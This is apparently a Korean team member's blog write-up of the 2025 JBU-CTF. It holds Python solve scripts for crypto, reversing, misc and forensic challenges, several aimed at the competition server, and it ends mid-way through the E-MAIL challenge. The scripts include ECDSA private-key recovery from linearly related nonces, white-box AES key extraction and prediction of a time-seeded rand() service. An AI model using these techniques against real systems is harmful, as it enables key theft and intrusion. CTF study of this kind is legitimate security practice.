CTF

2025 제 6회 JBU-CTF write-up

_daeseong_ ㅣ 2025. 11. 2. 20:36

https://velog.io/@btb/2024-%EC%A0%9C-5%ED%9A%8C-JBU-CTF-Write-up (작년 라이트업)

작년이랑 똑같이 팀명 "세명"으로 JBU CTF에 참여하였다.

작년엔 아쉽게도 힙 문제에 낚여서 포너블 올클도 못하고 7등에서 마무리 하였지만, 이번년도는 만반의 준비를 해가서 포너블 올클도 하고 4등으로 마무리하여서 기분이 좋다. 그럼 바로 라이트업 시작하겠다.

(궁금한거나 물어볼사항 있으시면 댓글 달아주시거나 디스코드 DM주세요.)

팀원 :

pwnable : daeseong

reversing : le0s1mba

web : legon0120


 

Misc

MIC Check


문제 설명에 flag가 적혀있다.

scpCTF{W3lc0m3_t0_2025_JBUCTF!}

색은 답을 알고있다.


문제에서 주어진 서버에 들어가 보면 무슨 색 박스들이 존재하고 아무런 기능이 없다.

그래서 뭐 숨겨진 게 있나 개발자 도구를 열어보니 각 색 박스의 rgb 값들이 ascii table 범위 안에 있는 것을 보고 설마 하여 글자로 바꿔보니 flag가 나왔다.

a = [115, 99, 112, 67, 84, 70, 123, 89, 48, 117, 114, 95, 102, 76, 97, 103, 95, 99, 48, 49, 111, 114, 95, 49, 115, 95, 82, 69, 100, 95, 111, 82, 95, 66, 108, 117, 101, 63, 125] 
print(bytes(a).decode())  

# scpCTF{Y0ur_fLag_c01or_1s_REd_oR_Blue?}

틀린 ?? 찾기


문제에서 제공되는 파일과 서버에서 돌아가는 파일이 다르다.

때문에 두 파일을 비교하여 로컬에만 존재하는 문자들을 추출했고, 여기서 html에 fake flag가 숨겨져 있는 것을 확인했다.

real flag는 css에 리트스픽으로 섞여 숨겨져 있는데, 문자 단위 diff를 통해 복구할 수 있다.

import difflib
import re
from pathlib import Path
from urllib.request import urlopen, Request

def safe_fetch(url: str) -> str | None:
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        return urlopen(req, timeout=10).read().decode("utf-8", "ignore")
    except Exception:
        return None

def extract_chars(a: str, b: str, sign: str) -> str:
    keep = set("_{}?@!")
    keep.update(chr(c) for c in range(ord('a'), ord('z') + 1))
    keep.update(chr(c) for c in range(ord('A'), ord('Z') + 1))
    keep.update(chr(c) for c in range(ord('0'), ord('9') + 1))
    out = []
    for t in difflib.ndiff(a, b):
        if t.startswith(sign) and t[2] in keep:
            out.append(t[2])
    return "".join(out)

def extract_flag_from_css() -> str:
    base = Path(__file__).resolve().parent
    clean_css = (base / "style.css").read_text(encoding="utf-8", errors="ignore")
    remote_css = safe_fetch("http://jbuctf.kr:8004/style.css") or (
        base / "remote.css"
    ).read_text(encoding="utf-8", errors="ignore")

    m = re.findall(r"(?i)[A-Z]+CTF\{[^}]+\}", extract_chars(remote_css, clean_css, "+ "))
    if m:
        return max(m, key=len)
    return None

if __name__ == "__main__":
    flag = extract_flag_from_css()
    print(flag)

# scpCTF{th!s_fl@g_real_fla9!!!wow_go0d}

Crypto

se, cr, et


#!/usr/bin/env python3
import socket, re, sys

HOST, PORT = "3.34.157.211", 10001
BANNER = re.compile(
    r"N\s*=\s*(?P<N>[0-9]+).*?"
    r"Enc\(se\)\s*=\s*(?P<cse>[0-9a-fA-F]+).*?"
    r"Enc\(cr\)\s*=\s*(?P<ccr>[0-9a-fA-F]+).*?"
    r"Enc\(et\)\s*=\s*(?P<cet>[0-9a-fA-F]+)",
    re.DOTALL,
)

def read_until(sock, token: bytes):
    sock.settimeout(5.0)
    buf = b""
    while token not in buf:
        chunk = sock.recv(4096)
        if not chunk: break
        buf += chunk
    return buf

def main():
    host = HOST if len(sys.argv) < 2 else sys.argv[1]
    port = PORT if len(sys.argv) < 3 else int(sys.argv[2])

    with socket.create_connection((host, port), timeout=6.0) as s:
        text = read_until(s, b"Input (e, d):").decode("utf-8", "replace")
        m = BANNER.search(text)
        assert m, "parse error"

        N  = int(m.group("N"))
        N2 = N*N
        cse = int(m.group("cse"),16)
        ccr = int(m.group("ccr"),16)
        cet = int(m.group("cet"),16)
        csecret = (cse * ccr) % N2
        csecret = (csecret * cet) % N2
        csecret_hex = format(csecret, "x")

        s.sendall(b"d\n")
        s.recv(1024)  # prompt for hex
        s.sendall(csecret_hex.encode() + b"\n")

        resp = s.recv(4096).decode("utf-8","replace")
        mdec = re.search(r"Dec\s*=\s*([0-9a-fA-F]+)", resp)
        assert mdec, "no Dec"
        secret_hex = mdec.group(1)

        if "Input secret" not in resp:
            resp += s.recv(4096).decode("utf-8","replace")
        s.sendall(secret_hex.encode() + b"\n")

        print(s.recv(4096).decode("utf-8","replace").strip())

if __name__ == "__main__":
    main()

가법 동형성 + 복호 오라클의 조합이었고, 조각이 서로 다른 바이트 오프셋으로 정렬되어 정수 덧셈으로 비밀이 복원하면되는 문제였다.

noiseise


from math import gcd

def tonelli(n, p):
    assert pow(n, (p-1)//2, p) == 1
    if p % 4 == 3:
        x = pow(n, (p+1)//4, p)
        return x, (p - x) % p
    q = p - 1; s = 0
    while q % 2 == 0: q //= 2; s += 1
    z = 2
    while pow(z, (p-1)//2, p) != p-1: z += 1
    c = pow(z, q, p)
    r = pow(n, (q+1)//2, p)
    t = pow(n, q, p)
    m = s
    while t != 1:
        i = 1; t2 = pow(t, 2, p)
        while t2 != 1:
            t2 = pow(t2, 2, p); i += 1
        b = pow(c, 1 << (m - i - 1), p)
        r = (r * b) % p
        c = (b * b) % p
        t = (t * c) % p
        m = i
    return r, (p - r) % p

vals = {}
for line in open("output.txt"):
    if "=" in line:
        k, v = line.strip().split("=", 1)
        vals[k] = int(v)

e, p, b, N, enc, a = vals["e"], vals["p"], vals["b"], vals["N"], vals["enc"], vals["a"]
x1, x2 = tonelli(a, p)
x = min(x1, x2)
q = gcd((x * x - b) % N, N)
r = N // q
phi = (q - 1) * (r - 1)
d = pow(e, -1, phi)
m = pow(enc, d, N)
print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode())
문제는 RSA 비슷한 세팅에서 N=pq, 공개지수 e, 암호문 enc가 주어지고, 중간에 어떤 비밀값 x에 기반한 값 두 개가 공개된다:

a = x^2 mod p

b = x^2 mod q

이후엔 x, q, r 등에 1024비트 랜덤과 XOR 노이즈를 섞어 놓아서 헷갈리게 만든다. 하지만 중요한 포인트는 a와 b는 노이즈 들어가기 전에 계산된 값이라서 그대로 믿어도 된다는 것.

공격 흐름은 아주 단순하다.

a = x^2 (mod p)에서 모듈러 제곱근을 구하면 해가 두 개 나온다. 둘 중 더 작은 쪽이 실제 x (문제에서 x는 928비트, p는 1024비트라 작은 근이 자연스럽게 선택됨).

b = x^2 (mod q)이므로 q | (x^2 - b). 따라서 q = gcd(x^2 - b, N) 한 방에 인수분해.

d = e^{-1} mod (p-1)(q-1)로 개인키 복구 후 m = enc^d mod N 복호.

핵심은 제곱근 하나만 제대로 고르면 gcd로 바로 인수분해가 끝난다는 점,그리고 노이즈는 XOR라서 곱셈 구조를 못 지키기 때문에 미끼일 뿐이고, 진짜 단서는 a, b 두 줄이면 충분했다.

최종 플래그: scpCTF{48a3816e37ec3fb7c976951a635c77c9}

hide on table


from table import table2

SBOX = [
  99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,
  202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,
  183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,
  4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,
  9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,
  83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,
  208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,
  81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,
  205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,
  96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,
  224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,
  231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,
  186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,
  112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,
  225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,
  140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22,
]

def recover_alpha_beta(tbl):  
    base = tbl[0]
    for a in range(256):
        ok = True
        s0 = SBOX[0 ^ a]
        for x in range(256):
            if (tbl[x] ^ base) != (SBOX[x ^ a] ^ s0):
                ok = False
                break
        if ok:
            b = base ^ s0
            return a, b
    raise RuntimeError("no (alpha, beta) found")

alphas, betas = [], []
for j in range(16):
    a, b = recover_alpha_beta(table2[j])
    alphas.append(a)
    betas.append(b)

K10 = bytes(betas)
print("K10 =", K10.hex())

RCON = [0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36]
def sub_word(w): return [SBOX[b] for b in w]
def rot_word(w): return w[1:]+w[:1]

def inv_from_round10(rk10):
    w = [None]*44
    w[40],w[41],w[42],w[43] = [list(rk10[i:i+4]) for i in range(0,16,4)]
    for i in range(43,3,-1):
        if i % 4 == 0:
            t = sub_word(rot_word(w[i-1].copy()))
            t[0] ^= RCON[i//4]
            w[i-4] = [w[i][j] ^ t[j] for j in range(4)]
        else:
            w[i-4] = [w[i][j] ^ w[i-1][j] for j in range(4)]
    return bytes(sum(w[0:4], []))

master = inv_from_round10(K10)
print("MASTER =", master.hex())
실행 결과는 다음과 같다.
K10    = 5528e229566590b73ee55fac44332da1
MASTER = 39b0f634ed2e0154abf020b4c0c82aee
문제의 hide_on_table.py로 임의 평문 블록을 암호화했을 때, 위 마스터 키로 표준 AES-ECB(라이브러리) 암호화 결과가 동일해야 한다. 또한 table1은 전과정 난독화용이지만, 복원엔 table2만으로 충분했다.

100bit


import argparse, ast, socket, sys, time, re

def set_timeout(sock, t):
    try:
        sock.settimeout(t)
    except Exception:
        pass

def recv_some(sock, maxlen=4096):
    try:
        data = sock.recv(maxlen)
        return data
    except socket.timeout:
        return b""

def wait_for_prompt(buf):
    if re.search(rb'Enter\s+your\s+choice', buf, flags=re.I):
        return True
    if re.search(rb'choice\s*[:>)]', buf, flags=re.I):
        return True
    if re.search(rb'\(\s*1\s*\)', buf):
        return True
    return False

def try_extract_pair(buf):
    lb = buf.find(b'[')
    if lb == -1:
        return None, 0
    rb = buf.find(b']', lb+1)
    if rb == -1:
        return None, 0
    pk_txt = buf[lb:rb+1]
    try:
        pk = ast.literal_eval(pk_txt.decode('ascii', errors='ignore'))
    except Exception:
        return None, 0
    if not isinstance(pk, list) or len(pk) != 100:
        return None, 0
    tail = buf[rb+1: rb+1+2048]
    m = re.search(rb'(-?\d+)', tail)
    if not m:
        return None, 0
    try:
        enc = int(m.group(1))
    except Exception:
        return None, 0
    consumed = rb+1 + m.end()
    return (pk, enc), consumed

def connect(host, port, timeout):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    set_timeout(s, timeout)
    s.connect((host, port))
    return s

def gather_samples(host, port, m, timeout, sleep, debug=False):
    try:
        from pwn import remote
        if debug: print("[i] Using pwntools remote() path")
        r = remote(host, port, timeout=timeout)
        samples = []
        buf = b""
        try:
            buf += r.recv(timeout=1) or b""
        except Exception:
            pass
        for k in range(m+1):
            t0 = time.time()
            while time.time() - t0 < timeout:
                if wait_for_prompt(buf):
                    break
                try:
                    chunk = r.recv(timeout=0.5) or b""
                except Exception:
                    chunk = b""
                buf += chunk
                if not chunk:
                    break
            r.sendline(b'1')
            if sleep: time.sleep(sleep)
            t0 = time.time()
            parsed = None
            while time.time() - t0 < timeout:
                parsed, used = try_extract_pair(buf)
                if parsed:
                    if debug:
                        print(f"[dbg] parsed pair {k+1}: used={used}, buf_remain={len(buf)-used}")
                    buf = buf[used:]
                    break
                try:
                    chunk = r.recv(timeout=0.5) or b""
                except Exception:
                    chunk = b""
                buf += chunk
            if not parsed:
                raise TimeoutError("Failed to parse (pk, enc) from server within timeout")
            if k < m:
                samples.append(parsed)
            else:
                test_pair = parsed
        r.close()
        return samples, test_pair
    except Exception as e_pwntools:
        if debug: print("[!] pwntools path failed or unavailable:", e_pwntools)
        s = connect(host, port, timeout)
        samples = []
        buf = b""
        t0 = time.time()
        while time.time() - t0 < 1.0:
            chunk = recv_some(s)
            if not chunk: break
            buf += chunk
        if debug and buf:
            print("[dbg] initial banner bytes:", len(buf))
        def one_request(kidx):
            nonlocal buf
            t0 = time.time()
            while time.time() - t0 < timeout:
                if wait_for_prompt(buf):
                    break
                chunk = recv_some(s)
                if chunk:
                    buf += chunk
                else:
                    break
            try:
                s.sendall(b'1\n')
            except Exception as e:
                raise RuntimeError("sendall failed: %r" % (e,))
            if sleep: time.sleep(sleep)
            t0 = time.time()
            while time.time() - t0 < timeout:
                pair, used = try_extract_pair(buf)
                if pair:
                    if debug:
                        print(f"[dbg] parsed pair {kidx}: used={used}, buf_remain={len(buf)-used}")
                    buf = buf[used:]
                    return pair
                chunk = recv_some(s)
                if chunk:
                    buf += chunk
                else:
                    time.sleep(0.05)
            raise TimeoutError("Timed out waiting for pair")
        for k in range(m):
            samples.append(one_request(k+1))
        test_pair = one_request(m+1)
        s.close()
        return samples, test_pair

def gf2_solve(A_rows_bits, b_bits, n):
    m = len(A_rows_bits)
    rows = A_rows_bits[:]
    rhs = b_bits[:]
    pivot_col_for_row = [-1] * m
    r = 0
    for c in range(n):
        piv = -1
        for i in range(r, m):
            if (rows[i] >> c) & 1:
                piv = i
                break
        if piv == -1:
            continue
        rows[r], rows[piv] = rows[piv], rows[r]
        rhs[r], rhs[piv] = rhs[piv], rhs[r]
        pivot_col_for_row[r] = c
        for i in range(m):
            if i != r and ((rows[i] >> c) & 1):
                rows[i] ^= rows[r]
                rhs[i] ^= rhs[r]
        r += 1
        if r == m:
            break
    x = [0] * n
    for i in range(m):
        c = pivot_col_for_row[i]
        if c == -1:
            continue
        x[c] = rhs[i] & 1
    return x

def bits_to_hex_str(bits):
    bitstr = ''.join(str(b) for b in bits)
    v = int(bitstr, 2)
    return v.to_bytes(13, 'big').hex()

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--host', default='3.34.157.211')
    ap.add_argument('--port', type=int, default=10002)
    ap.add_argument('--samples', type=int, default=130)
    ap.add_argument('--timeout', type=float, default=6.0, help='per-step timeout seconds')
    ap.add_argument('--sleep', type=float, default=0.03, help='delay after sending choice')
    ap.add_argument('--debug', action='store_true')
    args = ap.parse_args()
    print("[+] Connecting and gathering {} samples ...".format(args.samples))
    samples, test_pair = gather_samples(args.host, args.port, args.samples, args.timeout, args.sleep, args.debug)
    print("[+] Got {} samples.".format(len(samples)))
    n = 100
    A_rows_bits = []
    b_bits = []
    for (pk, enc) in samples:
        row = 0
        for i in range(n):
            if pk[i] & 1:
                row |= (1 << i)
        A_rows_bits.append(row)
        b_bits.append(enc & 1)
    print("[+] Solving A·x = b over GF(2) ...")
    x = gf2_solve(A_rows_bits, b_bits, n)
    bitstr = ''.join(str(b) for b in x)
    inner_hex = bits_to_hex_str(x)
    print("[+] Recovered 100-bit binary:")
    print("    " + bitstr)
    print("[+] Inner hex:", inner_hex)
    print("[=] Final flag guess:")
    print("    scpCTF{" + inner_hex + "}")
    pk_check, enc_check = test_pair
    lhs = 0
    for i in range(n):
        lhs ^= ((pk_check[i] & 1) & x[i])
    if lhs == (enc_check & 1):
        print("[+] Parity self-check passed.")
    else:
        print("[!] Parity self-check FAILED. Try increasing --samples or --timeout.")

if __name__ == "__main__":
    main()
“1”을 여러 번 보내(B,c)샘플>=100개를 수집
각샘플에서 A행은 B mod 2 b는 c mod 2로 구성
가우스 소거로 flag복구 
13바이트 hex로 변환후에 제출

lorem ipsum


import os,re,sys
from sympy import symbols,Poly
from sympy.polys.polytools import factor_list
u=symbols('u')
n=0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
p=0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a=(p-3)%p
b=0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b%p
Gx=0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296%p
Gy=0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5%p
def invn(x):x%=n;return pow(x,-1,n)
def invp(x):x%=p;return pow(x,p-2,p)
def add(P,Q):
    if P is None:return Q
    if Q is None:return P
    x1,y1=P; x2,y2=Q
    if x1==x2 and (y1+y2)%p==0:return None
    if x1==x2 and y1==y2:
        lam=(3*pow(x1,2,p)+a)*invp(2*y1)%p
    else:
        lam=(y2-y1)*invp((x2-x1)%p)%p
    x3=(pow(lam,2,p)-x1-x2)%p
    y3=(lam*(x1-x3)-y1)%p
    return (x3,y3)
def mul(k,P):
    R=None
    Q=P
    while k>0:
        if k&1:R=add(R,Q)
        Q=add(Q,Q)
        k>>=1
    return R
def read_signs(d):
    fs=[f for f in os.listdir(d) if f.endswith('.txt')]
    def key(x):
        m=re.search(r'(\d+)',x)
        return int(m.group(1)) if m else x
    xs=[]
    for f in sorted(fs,key=key):
        pth=os.path.join(d,f)
        with open(pth,'r',encoding='utf-8',errors='ignore') as fh:
            L=[ln.strip() for ln in fh.read().splitlines() if ln.strip()]
        if len(L)>=4:
            h=int(L[1],16); r=int(L[2],16); s=int(L[3],16)
            xs.append((h,r,s))
    return xs
def lin(a,b):return Poly((a%n)+(b%n)*u,u,modulus=n)
def build_P(ab):
    x=[lin(*ab[j]) for j in range(8)]
    y=[lin(*ab[j+1]) for j in range(8)]
    x9=lin(*ab[8]); y9=lin(*ab[9])
    D=[]
    for j in range(8):
        Dj=Poly(1,u,modulus=n)
        for m in range(8):
            if m==j:continue
            Dj*=(x[j]-x[m])
        D.append(Dj)
    Dall=Poly(1,u,modulus=n)
    for Dj in D:Dall*=Dj
    Lnum=[]
    for j in range(8):
        Lj=Poly(1,u,modulus=n)
        for m in range(8):
            if m==j:continue
            Lj*=(x9-x[m])
        Lnum.append(Lj)
    P=Poly(0,u,modulus=n)
    for j in range(8):
        Qj=Dall.quo(D[j])
        P+=y[j]*Lnum[j]*Qj
    P-=y9*Dall
    return Poly(P.as_expr(),u,modulus=n)
def roots_mod(P):
    _,f=factor_list(P,modulus=n)
    rs=[]
    for g,exp in f:
        if g.degree()==1:
            c=[int(cc%n) for cc in g.all_coeffs()]
            if len(c)==2 and c[0]%n!=0:
                rs.append((-c[1]*pow(c[0],-1,n))%n)
    return rs
def ok_full(d,recs,ab):
    for t,(h,rv,sv) in enumerate(recs):
        a1,b1=ab[t]
        k=(a1+b1*d)%n
        if k==0:return False
        Pk=mul(k,(Gx,Gy))
        if Pk is None:return False
        rcalc=Pk[0]%n
        if rcalc!=rv%n:return False
        scalc=((h+d*rv)%n)*invn(k)%n
        if scalc!=sv%n:return False
    return True
def main():
    base=os.path.dirname(__file__) or '.'
    if len(sys.argv)>1:sd=sys.argv[1]
    else:
        cand=os.path.join(base,'signs'); sd=cand if os.path.isdir(cand) else base
    recs=read_signs(sd)
    ab=[((h*invn(s))%n,(r*invn(s))%n) for (h,r,s) in recs]
    P=build_P(ab)
    rs=roots_mod(P)
    d=None
    for c in rs:
        if ok_full(c,recs,ab):d=c;break
    if d is None:print('no-solution');return
    bl=(d.bit_length()+7)//8
    bb=d.to_bytes(bl,'big')
    try:s=bb.decode('utf-8','ignore')
    except:s=''
    m=re.search(r'scpCTF\{[^}]+\}',s)
    if m:print(m.group(0))
    else:print('scpCTF{'+format(d&((1<<96)-1),'024x')+'}')
if __name__=='__main__':main()
scpCTF{0f7b6e3b09f1072eda381ea8}
서명에서 𝑘 𝑡 = 𝛼 𝑡 + 𝛽 𝑡 𝑑 k t  =α t  +β t  d를 세우고 8쌍으로 7차 보간 → 일관성 다항식 𝑃 ( 𝑑 ) = 0 P(d)=0의 근 후보를 구함. 각 후보에 대해 실제로 𝑘 𝑡 𝐺 k t  G의 𝑥 x좌표를 계산해 **주어진 𝑟 𝑡 r t  **와 모두 일치하는지, 또 𝑠 s 식도 맞는지 검사. 그 검증을 통과하는 유일한 𝑑 d에서 플래그를 출력.

REV

이모지에 해마가 있어?


주어진 바이너리의 flag로 출력 되는 것은 UTF-16LE 32 바이트 버퍼를 UTF-8로 디코드한 문자열이다.

입력은 총 33줄을 받으며, 첫 줄은 LCG 시드, 나머지 32줄은 2자리 hex 바이트이다.

프로그램은 LCG로 생성한 인덱스 순서에 따라 바이트를 배치하고, 기존에 존재하던 32 바이트 타켓과 일치하면 된다.

44 c5 c8 b2 44 c5 c8 b2 74 d5 c8 b9 74 c7 a8 ba
c0 c9 94 b2 c6 c5 b4 c5 44 c5 c8 b2 44 c5 c8 b2

타겟 32 바이트는 다음 값이며, 우리는 특정 시드 값으로 LCG를 돌렸을 때 나온 인덱스에 맞춰서 입력 값을 구해주면 된다.

from pwn import *

s = 0
st = s & 0xFFFFFFFF
def rnd():
    global st
    st = (0x41C64E6D * st + 0x3039) & 0xFFFFFFFF
    return (st >> 16) & 0x7FFF

t = "아니아니해마이모지는없어아니아니".encode("utf-16le")
p = list(range(32))
o = []
r = 32
for _ in range(32):
    i = rnd() % r
    o.append(p[i])
    p[i] = p[r - 1]
    r -= 1

io = process("./seahorse_2")
io.sendline(str(s).encode())
for idx in o:
    io.sendline(f"{t[idx]:02x}".encode())
print(io.recvall().decode(errors="ignore"), end="")

# scpCTF{아니아니해마이모지는없어아니아니}

Forge


main 함수가 조금 보기 더럽게 되어 있긴 한데, 분석해 보면 총 10번 동안 rand() % 1000 값과 같은 값을 입력하면 flag.txt를 출력해준다.

여기서 srand의 seed 값은 time(0) 이므로 똑같이 현재 시간을 가지고 10개의 rand 값을 서버에 보내주는 코드를 작성하면 된다.

from pwn import * 
from ctypes import CDLL 
import time  

p = remote("3.34.157.211", 10015)  
libc = CDLL("libc.so.6") 
libc.srand(int(time.time()))  

for i in range(10):     
    p.sendlineafter(b": ", str(libc.rand() % 1000).encode())     
    print(p.recvline()) 
p.interactive()  

# scpCTF{Mr_Bl4cksm1th_Y0ur_H4mm3r1ng_1s_T00_R3gul4r}

RPS


바이너리를 분석해 보면 AI와 가위바위보를 하는데, 100점을 얻으면 flag를 얻을 수 있다.

점수는 이기면 10점, 무승부 5점, 지면 0점을 얻게 된다.

하지만 가위바위보는 AI가 무조건 우승하게 되어 있다.

때문에 어떤 것을 내든 무조건 지게 되는데, 숨겨진 트리거가 존재한다.

현재 라운드가 소수면 바로 전 라운드에서 제출했던 수와 현재 라운드 % 3과 같으면 이번 라운드의 AI 수가 고정된다.

그리고 나의 수는 전 라운드에서 제출했던 수로 간주되는데, 이때 AI 수는 무조건 (현재 라운드 + 1) % 3으로 된다.

때문에 우리는 소수 라운드 전에 AI를 무조건 이기는 수를 입력하면 이길 수 있게 된다.

from pwn import remote
import re
import time
import sys

p = remote("3.34.157.211", 10010)
pr = {3, 5, 7, 11, 13, 17, 19, 23, 29, 31}
rr = re.compile(rb"\[Round\s+(\d+)\]")

while True:
    b = p.recvuntil(b"Enter move (r/p/s or 0/1/2): ")
    m = rr.search(b)
    if not m:
        b += p.recv(timeout=0.2) or b""
        m = rr.search(b)
        if not m:
            continue
    r = int(m.group(1))
    print(r)
    if (r + 1) in pr:
        p.sendline(str(r % 3).encode())
    elif r in pr:
        time.sleep(6.2)
    else:
        p.sendline(b"0")
    end = time.time() + 12.0
    while time.time() < end:
        line = p.recvline(timeout=0.5)
        if not line:
            continue
        if b"Exactly 100 points reached!" in line:
            rest = p.recvall(timeout=2.0) or b""
            sys.stdout.write((line + rest).decode(errors="ignore"))
            p.close()
            sys.exit(0)
        if b"Current score:" in line:
            break

# scpCTF{1_4m_rp5_m4573r}

Too_Many_Boxes


이 문제는 뭐 분석할 게 없었다.

main 함수를 들어가 보면 thread를 생성하고 Producer_DoDecryptAndEnqueue_RandomOrder 함수를 실행한다.
안에 들어가 보면 대놓고 dec 배열에 zone_keys와 enc_zones 값을 xor 시키는 연산이 존재한다.

이 연산을 그대로 작성하여 실행 시키면 flag가 나온다.

enc = [
    [0x29, 0x39, 0x2A, 0x19, 0x0E, 0x1C, 0x21, 0x6B, 0x05, 0x34, 0x69],
    [0x96, 0xC1, 0xFA, 0xC6, 0x95, 0xD0, 0xD5, 0x91, 0xCB, 0x93, 0xFA],
    [0x51, 0x08, 0x52, 0x63, 0x5A, 0x0C, 0x4E, 0x63, 0x5E, 0x0C, 0x44],
    [0x9C, 0xF6, 0xF4, 0xF7, 0xA0, 0xA8, 0xF2, 0xAD, 0xF5, 0xBE],
]
zone_lens = [0xB, 0xB, 0xB, 0xA]
zone_keys = [0x5A, 0xA5, 0x3C, 0xC3]

dec = []
for i in range(4):
    for j in range(zone_lens[i]):
            dec.append((zone_keys[i] ^ enc[i][j]) & 0xFF)
print(bytes(dec).decode())

# scpCTF{1_n33d_c0up4n6_m4n_f0r_b0x_574ck1n6}

elzzup


문제에서 주어진 바이너리는 OpenCV를 사용하여 flag.png를 10x10 픽셀 단위로 타일링하고, 바이너리 명령 스트림 puzzzzled를 읽어 타일 단위 변환을 순차 적용 시킨 뒤 output.png로 저장한다.

puzzzzled는 1 바이트 명령 문자와 정수 인자들로 구성되며, 두 파일 스왑, 세 타일 3 사이클, 타일 수평 플립, 타일 수직 플립, 타일 90/180/270도 회전 같은 명령어가 존재한다.

우리는 이를 반대로 적용 시키면 원본 이미지를 획득할 수 있다.

from PIL import Image
import struct

Tile = 10
Img = Image.open("output.png").convert("RGB")
W, H = Img.size
Wtiles, Htiles = W//Tile, H//Tile

Grid = [[Img.crop((x*Tile, y*Tile, (x+1)*Tile, (y+1)*Tile))
         for x in range(Wtiles)] for y in range(Htiles)]

Cmds = []
Data = open("puzzzzled","rb").read()
i = 0
while i < len(Data):
    c = chr(Data[i]); i += 1
    if c == 'e':
        a = struct.unpack_from("<4I", Data, i); i += 16; Cmds.append(('e',)+a)
    elif c == 'l':
        a = struct.unpack_from("<6I", Data, i); i += 24; Cmds.append(('l',)+a)
    elif c in ('p','u'):
        a = struct.unpack_from("<2I", Data, i); i += 8;  Cmds.append((c,)+a)
    elif c == 'z':
        a = struct.unpack_from("<3I", Data, i); i += 12; Cmds.append(('z',)+a)
    else:
        break

def RotateTile(T, Deg):
    k = (Deg // 90) % 4
    return T.rotate(-90*k, expand=False)

def FlipH(T): return T.transpose(Image.FLIP_LEFT_RIGHT)
def FlipV(T): return T.transpose(Image.FLIP_TOP_BOTTOM)

for cmd in reversed(Cmds):
    t = cmd[0]
    if t == 'e':
        _, x1,y1,x2,y2 = cmd
        Grid[y1][x1], Grid[y2][x2] = Grid[y2][x2], Grid[y1][x1]
    elif t == 'l':
        _, x1,y1,x2,y2,x3,y3 = cmd
        Grid[y2][x2], Grid[y3][x3] = Grid[y3][x3], Grid[y2][x2]
        Grid[y1][x1], Grid[y2][x2] = Grid[y2][x2], Grid[y1][x1]
    elif t == 'p':
        _, x,y = cmd
        Grid[y][x] = FlipH(Grid[y][x])
    elif t == 'u':
        _, x,y = cmd
        Grid[y][x] = FlipV(Grid[y][x])
    elif t == 'z':
        _, x,y,deg = cmd
        Grid[y][x] = RotateTile(Grid[y][x], (360 - deg) % 360)

Out = Image.new("RGB", (W, H))
for y in range(Htiles):
    for x in range(Wtiles):
        Out.paste(Grid[y][x], (x*Tile, y*Tile))
Out.save("flag.png")

# hspace{1if3_is_1ik3_4_puzzl3_or_is_it_3lzzup}

pessword


문제에서 주어진 바이너리를 분석해 보면 자기 자신의 pe file을 가져와서 TimeDateStamp 값을 sha256 시켜 scpCTF{} 형식 안에 넣어서 출력해준다.

즉, 여기서 알맞은 TimeDateStamp 값을 sha256 시키면 해당 값이 flag 값이 된다.

현재 문제에서 주어진 바이너리의 TimeDateStamp에 있는 값은 1760891323 이건데, 이를 sha256 시켜서 제출해 보면 Incorrect가 뜬다.

때문에 이 알맞은 TimeDateStamp 값을 찾아야 하는데, 다른 문제를 풀다가 힌트가 올라온 것을 보고 2025-10-24 10:00:00 UTC 값을 넣어보니 알맞은 flag가 나왔다.

# scpCTF{172317dde33b1777c51e0f86e6dc9cc11efe48841f314fc2ea0477d659c48757}

Forensic

Tab the Whitespace


import sys, io, zipfile

p = sys.argv[1] if len(sys.argv) > 1 else "steg.jpg"
d = open(p, "rb").read()
i = d.rfind(b"\xff\xd9")
t = d[i+2:] if i != -1 else d
pk = t.find(b"PK\x03\x04")
if pk == -1:
    pk = d.find(b"PK\x03\x04")
    t = d[pk:] if pk != -1 else b""
z = zipfile.ZipFile(io.BytesIO(t), "r")
name = "message.txt" if "message.txt" in z.namelist() else z.namelist()[0]
raw = z.read(name)
bits = "".join("0" if b==32 else "1" if b==9 else "" for b in raw)
out = bytes(int(bits[i:i+8],2) for i in range(0, len(bits)//8*8, 8))
print(out.decode(errors="ignore"))
문제 요약

주어진 압축 파일(for_user_white.zip)을 분석해 숨겨진 플래그를 찾아라. 제목에서 “Whitespace(공백)”가 힌트.

사용 도구

기본 CLI: unzip, xxd/hexdump (선택)

(옵션) binwalk

Python 3

풀이 개요

압축 풀기 → JPEG 1개(steg.jpg) 확인

JPEG 끝(EOI, FF D9) 뒤에 **ZIP 시그니처(PK 03 04)**가 덧붙어 있음 → 내부 ZIP 추출

ZIP 안의 message.txt는 스페이스/탭만으로 이루어진 파일 → 공백 스테가노그래피

규칙: space=0, tab=1, 8비트씩 묶어 ASCII 디코딩 → 플래그 복구

E(ncrypted)-MAIL


이메일(.eml) 한 파일 안에 여러 겹의 힌트가 숨겨져 있습니다. 
인라인 첨부 note.txt → Base32 디코드 → Th3r3_ar3_ 본문 HTML 속 숨겨진 PNG(data URI) 
→ PNG의 zTXt 텍스트 청크 → zlib 해제 → ZIP(Base64) → 
